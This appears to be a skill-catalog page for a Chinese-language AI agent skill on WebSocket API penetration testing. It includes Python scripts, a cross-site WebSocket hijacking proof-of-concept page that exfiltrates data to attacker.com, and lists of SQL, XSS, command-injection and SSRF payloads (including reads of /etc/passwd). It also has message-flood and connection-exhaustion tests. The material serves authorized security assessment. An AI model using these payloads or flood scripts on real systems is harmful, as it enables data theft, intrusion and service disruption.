testing-websocket-api-security

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

9 stars

Best use case

testing-websocket-api-security is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

Teams using testing-websocket-api-security should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/testing-websocket-api-security/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/testing-websocket-api-security/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/testing-websocket-api-security/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How testing-websocket-api-security Compares

Feature / Agenttesting-websocket-api-securityStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 测试 WebSocket API 安全

## 适用场景

- 评估使用 WebSocket(ws://)或安全 WebSocket(Secure WebSocket,wss://)协议的实时通信 API
- 测试跨站 WebSocket 劫持(CSWSH)——攻击者页面连接到合法 WebSocket 服务器
- 评估 WebSocket 连接和消息上的身份认证与授权强制执行
- 测试 WebSocket 消息 payload 的输入校验,发现注入漏洞
- 评估 WebSocket 实现是否存在通过消息泛洪或超大帧实施的拒绝服务(DoS)风险

**不适用于**未经书面授权的情况。WebSocket 测试可能中断实时服务并影响其他已连接用户。

## 前置条件

- 书面授权,明确 WebSocket 端点和测试范围
- Burp Suite Professional,具备 WebSocket 拦截能力
- Python 3.10+,安装 `websockets` 和 `asyncio` 库
- 浏览器开发者工具,用于观察 WebSocket 握手和帧
- wscat CLI 工具,用于手动 WebSocket 交互:`npm install -g wscat`
- 了解所使用的 WebSocket 子协议(JSON-RPC、STOMP 或自定义协议)

## 工作流程

### 步骤 1:WebSocket 端点发现与握手分析

```python
import asyncio
import websockets
import json
import ssl
import time

WS_URL = "wss://target-api.example.com/ws"
AUTH_TOKEN = "Bearer <token>"

# 捕获并分析 WebSocket 握手
async def analyze_handshake():
    """分析 WebSocket 升级请求和响应头。"""
    try:
        async with websockets.connect(
            WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            ssl=ssl.create_default_context()
        ) as ws:
            print(f"已连接到: {WS_URL}")
            print(f"协议: {ws.subprotocol}")
            print(f"扩展: {ws.extensions}")

            # 发送测试消息
            test_msg = json.dumps({"type": "ping"})
            await ws.send(test_msg)
            response = await asyncio.wait_for(ws.recv(), timeout=5)
            print(f"服务器响应: {response}")

            return True
    except websockets.exceptions.InvalidStatusCode as e:
        print(f"连接被拒绝: {e.status_code}")
        return False
    except Exception as e:
        print(f"连接错误: {e}")
        return False

asyncio.run(analyze_handshake())
```

### 步骤 2:身份认证与授权测试

```python
async def test_ws_authentication():
    """测试 WebSocket 是否需要身份认证。"""
    results = []

    # 测试 1:不带任何认证连接
    try:
        async with websockets.connect(WS_URL) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "无认证",
                "status": "存在漏洞",
                "response": resp[:200]
            })
            print(f"[漏洞] WebSocket 在无认证情况下可访问")
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "无认证", "status": "安全"})
    except Exception as e:
        results.append({"test": "无认证", "status": f"错误: {e}"})

    # 测试 2:使用无效令牌连接
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": "Bearer invalid_token"}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "无效令牌",
                "status": "存在漏洞",
                "response": resp[:200]
            })
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "无效令牌", "status": "安全"})
    except Exception as e:
        results.append({"test": "无效令牌", "status": f"错误: {e}"})

    # 测试 3:使用过期令牌连接
    expired_token = "Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired"
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": expired_token}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({"test": "过期令牌", "status": "存在漏洞"})
    except (websockets.exceptions.InvalidStatusCode, Exception):
        results.append({"test": "过期令牌", "status": "安全"})

    # 测试 4:令牌在查询参数中(泄露风险)
    try:
        async with websockets.connect(f"{WS_URL}?token={AUTH_TOKEN}") as ws:
            await ws.send(json.dumps({"type": "ping"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "URL 中的令牌",
                "status": "信息 - 令牌在查询参数中被接受(可能泄露到日志中)"
            })
    except Exception:
        results.append({"test": "URL 中的令牌", "status": "已拒绝"})

    for r in results:
        print(f"  [{r['status'][:10]}] {r['test']}")

    return results

asyncio.run(test_ws_authentication())
```

### 步骤 3:跨站 WebSocket 劫持(CSWSH)测试

```python
async def test_cswsh():
    """测试跨站 WebSocket 劫持漏洞。"""
    # CSWSH 发生于 WebSocket 服务器未校验 Origin 头部时
    # 攻击者的网站可以连接到合法 WebSocket 并窃取数据

    origins_to_test = [
        None,                                    # 无 Origin 头部
        "https://evil.com",                      # 攻击者域名
        "https://target-api.example.com.evil.com",  # 子域名混淆
        "null",                                  # null origin(沙盒 iframe)
        "https://target-api.example.com",        # 合法 origin
        "http://target-api.example.com",         # HTTP 降级
    ]

    print("=== CSWSH 测试 ===\n")
    for origin in origins_to_test:
        try:
            headers = {"Authorization": AUTH_TOKEN}
            if origin:
                headers["Origin"] = origin

            async with websockets.connect(WS_URL, extra_headers=headers) as ws:
                # 尝试接收应受限制的数据
                await ws.send(json.dumps({"type": "get_messages"}))
                resp = await asyncio.wait_for(ws.recv(), timeout=5)

                if origin and origin != "https://target-api.example.com":
                    print(f"[CSWSH] Origin '{origin}' -> 已接受(已收到数据)")
                else:
                    print(f"[正常] Origin '{origin}' -> 已接受(合法来源)")
        except websockets.exceptions.InvalidStatusCode as e:
            print(f"[已阻止] Origin '{origin}' -> 已拒绝 ({e.status_code})")
        except Exception as e:
            print(f"[错误] Origin '{origin}' -> {e}")

asyncio.run(test_cswsh())

# CSWSH 利用的 PoC HTML 页面
CSWSH_POC = """
<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
// 此页面托管在 attacker.com,连接到目标 WebSocket
// 如果服务器不校验 Origin,受害者的浏览器将
// 发送 cookie/凭据,攻击者将收到数据

var ws = new WebSocket("wss://target-api.example.com/ws");

ws.onopen = function() {
    console.log("已连接到目标 WebSocket");
    ws.send(JSON.stringify({type: "get_messages"}));
    ws.send(JSON.stringify({type: "get_user_data"}));
};

ws.onmessage = function(event) {
    console.log("窃取的数据:", event.data);
    // 外泄到攻击者服务器
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: event.data
    });
};
</script>
<p>加载中... (CSWSH 攻击进行中)</p>
</body>
</html>
"""
```

### 步骤 4:WebSocket 消息注入测试

```python
async def test_ws_injection():
    """测试 WebSocket 消息中的注入漏洞。"""

    INJECTION_PAYLOADS = {
        "sql": [
            {"type": "search", "query": "' OR '1'='1"},
            {"type": "search", "query": "'; DROP TABLE messages;--"},
            {"type": "get_message", "id": "1 UNION SELECT username,password FROM users--"},
        ],
        "nosql": [
            {"type": "search", "query": {"$ne": ""}},
            {"type": "get_user", "filter": {"$gt": ""}},
        ],
        "xss": [
            {"type": "send_message", "content": "<script>alert('xss')</script>"},
            {"type": "send_message", "content": "<img src=x onerror=alert(1)>"},
            {"type": "update_name", "name": "Test<script>document.location='https://evil.com'</script>"},
        ],
        "command": [
            {"type": "process", "file": "test; cat /etc/passwd"},
            {"type": "convert", "input": "test | id"},
        ],
        "ssrf": [
            {"type": "load_url", "url": "http://169.254.169.254/latest/meta-data/"},
            {"type": "webhook", "callback": "http://localhost:6379/"},
        ],
        "overflow": [
            {"type": "send_message", "content": "A" * 100000},
            {"type": "search", "query": "B" * 1000000},
        ],
    }

    async with websockets.connect(WS_URL,
        extra_headers={"Authorization": AUTH_TOKEN}) as ws:

        for category, payloads in INJECTION_PAYLOADS.items():
            for payload in payloads:
                try:
                    await ws.send(json.dumps(payload))
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)

                    # 分析响应中的注入特征
                    resp_lower = resp.lower()
                    indicators = []
                    if any(kw in resp_lower for kw in ["sql", "syntax", "mysql", "postgresql"]):
                        indicators.append("SQL 错误")
                    if any(kw in resp_lower for kw in ["root:", "uid=", "etc/passwd"]):
                        indicators.append("命令执行输出")
                    if any(kw in resp_lower for kw in ["ami-id", "instance-id", "metadata"]):
                        indicators.append("SSRF 数据")
                    if "script" in resp_lower and "xss" not in category:
                        indicators.append("反射型 XSS")

                    if indicators:
                        print(f"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}")
                    elif len(resp) > 10000:
                        print(f"[溢出] 大响应: {len(resp)} 字节")
                except asyncio.TimeoutError:
                    pass
                except websockets.exceptions.ConnectionClosed:
                    print(f"[崩溃] {category} payload 后连接关闭")
                    # 重新连接
                    break

asyncio.run(test_ws_injection())
```

### 步骤 5:拒绝服务测试

```python
async def test_ws_dos():
    """测试 WebSocket 的 DoS 漏洞。"""
    print("=== WebSocket DoS 测试 ===\n")

    # 测试 1:消息泛洪
    async def flood_test():
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN}) as ws:
            count = 0
            start = time.time()
            for i in range(10000):
                try:
                    await ws.send(json.dumps({"type": "ping", "id": i}))
                    count += 1
                except websockets.exceptions.ConnectionClosed:
                    break
            elapsed = time.time() - start
            print(f"  泛洪测试: {elapsed:.1f}s 内发送了 {count} 条消息({count/elapsed:.0f} msg/s)")

    await flood_test()

    # 测试 2:超大消息
    async def large_message_test():
        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB 到 10MB
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            max_size=20*1024*1024) as ws:
            for size in sizes:
                try:
                    large_msg = json.dumps({"type": "data", "payload": "A" * size})
                    await ws.send(large_msg)
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)
                    print(f"  超大消息({size} 字节): 已接受")
                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:
                    print(f"  超大消息({size} 字节): 已拒绝/已断连")
                    break

    await large_message_test()

    # 测试 3:连接耗尽
    async def connection_exhaustion():
        connections = []
        for i in range(100):
            try:
                ws = await websockets.connect(WS_URL,
                    extra_headers={"Authorization": AUTH_TOKEN})
                connections.append(ws)
            except Exception:
                break
        print(f"  连接耗尽测试: 建立了 {len(connections)} 个并发连接")
        for ws in connections:
            await ws.close()

    await connection_exhaustion()

asyncio.run(test_ws_dos())
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **WebSocket** | 基于单个 TCP 连接的全双工通信协议,通过 HTTP 升级握手建立连接 |
| **CSWSH** | 跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking)——恶意网站利用受害者浏览器的凭据向合法服务器发起 WebSocket 连接 |
| **Origin 校验** | 在 WebSocket 握手期间对 Origin 头部进行服务端检查,通过拒绝来自未授权域名的连接来防止 CSWSH |
| **WebSocket 帧(Frame)** | WebSocket 通信的基本数据单元,包含操作码、掩码、payload 长度和 payload 数据 |
| **升级握手(Upgrade Handshake)** | 携带 `Upgrade: websocket` 和 `Connection: Upgrade` 头部的 HTTP 请求,用于建立 WebSocket 连接 |
| **消息泛洪(Message Flooding)** | 发送大量 WebSocket 消息以耗尽服务器资源(内存、CPU、带宽) |

## 工具与系统

- **Burp Suite Professional**:拦截 WebSocket 握手和消息,支持消息修改和重放
- **OWASP ZAP**:具备消息模糊测试、拦截和断点功能的 WebSocket 测试工具
- **wscat**:命令行 WebSocket 客户端,用于手动测试:`wscat -c wss://target.com/ws -H "Authorization: Bearer token"`
- **websocat**:高级 CLI WebSocket 工具,支持代理、广播和脚本化功能
- **Autobahn TestSuite**:全面的 WebSocket 协议合规性和安全测试框架

## 常见场景

### 场景:聊天应用 WebSocket 安全评估

**场景背景**:某即时通讯应用使用 WebSocket 实现实时聊天,WebSocket 端点处理消息投递、正在输入指示、已读回执和用户在线状态。认证基于 Cookie。

**方法**:
1. 分析 WebSocket 握手:连接建立于 `wss://chat.example.com/ws`,使用会话 Cookie 认证
2. 测试 CSWSH:WebSocket 服务器未校验 Origin 头部——攻击者页面可以连接并接收受害者的消息
3. 测试认证:WebSocket 接受带有过期会话 Cookie 的连接(会话校验仅在握手时进行,后续消息不再校验)
4. 测试授权:用户 A 可通过构造频道 ID,向其不是成员的私有频道发送消息
5. 测试注入:消息内容未经过滤直接存储;消息体中的 XSS payload 在其他用户浏览器中执行
6. 测试消息泛洪:服务器在无速率限制的情况下每秒接受 5000 条消息,导致 CPU 峰值
7. 发现 WebSocket 消息泄露了发送者的内部用户 ID、邮箱和 IP 地址(信息泄露)

**常见陷阱**:
- 因应用使用基于令牌的认证而不测试 CSWSH(Cookie 会随 WebSocket 自动发送)
- 仅测试初始握手认证,而未验证持续的消息授权
- 因 payload 在 JSON WebSocket 帧中而非 HTTP 参数中,遗漏注入漏洞
- 未测试重连行为(服务器重连时是否重新校验认证?)
- 忽视 WebSocket 连接可能绕过 HTTP 层速率限制和 WAF 规则

## 输出格式

```
## 发现:跨站 WebSocket 劫持(CSWSH)导致实时数据被窃取

**ID**: API-WS-001
**严重程度**: 高 (CVSS 8.1)
**受影响端点**: wss://chat.example.com/ws

**描述**:
WebSocket 服务器在握手期间未校验 Origin 头部。攻击者可托管恶意网页,
利用受害者的会话 Cookie 向聊天服务器建立 WebSocket 连接。
所有消息、正在输入指示和在线状态数据都会被实时转发给攻击者。

**概念验证**:
将 CSWSH PoC 页面托管在 attacker.com。当已登录用户访问该页面时,
JavaScript 会向聊天服务器建立 WebSocket 连接。服务器使用受害者的
Cookie 对连接进行认证,并将所有实时聊天数据发送给攻击者的连接。

**影响**:
实时拦截任何访问攻击者页面的用户的所有私人消息、在线状态数据和输入指示。

**修复建议**:
1. 将 Origin 头部与合法域名白名单进行校验
2. 在 WebSocket 握手 URL 中实现 CSRF 令牌
3. 对 WebSocket 使用基于令牌的认证(Authorization 头部)而非 Cookie
4. 实施逐消息授权检查,而不仅仅是连接级认证
5. 对每个连接的 WebSocket 消息量添加速率限制
```

Related Skills

triaging-security-incident

9
from killvxk/cybersecurity-skills-zh

使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初始分类,确定严重性、范围和所需响应行动。 按类型对事件分类,根据业务影响分配优先级,并路由到相应的响应团队。适用于事件分类、 安全告警分类、严重性评估、事件优先级排序或初始事件分析等请求场景。

triaging-security-incident-with-ir-playbook

9
from killvxk/cybersecurity-skills-zh

使用结构化 IR Playbook 对安全事件进行分类和优先排序,确定严重性、分配响应团队并启动适当的响应程序。

triaging-security-alerts-in-splunk

9
from killvxk/cybersecurity-skills-zh

在 Splunk Enterprise Security 中对安全告警进行分类,通过 SPL 查询和事件审查(Incident Review) 仪表板对重要事件进行严重性分类、调查、关联相关遥测并做出升级或关闭决策。 适用于 SOC 分析师需要处理关联搜索产生的告警队列、确定调查优先级, 或需要为交接给二/三级分析师记录分类决策时。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。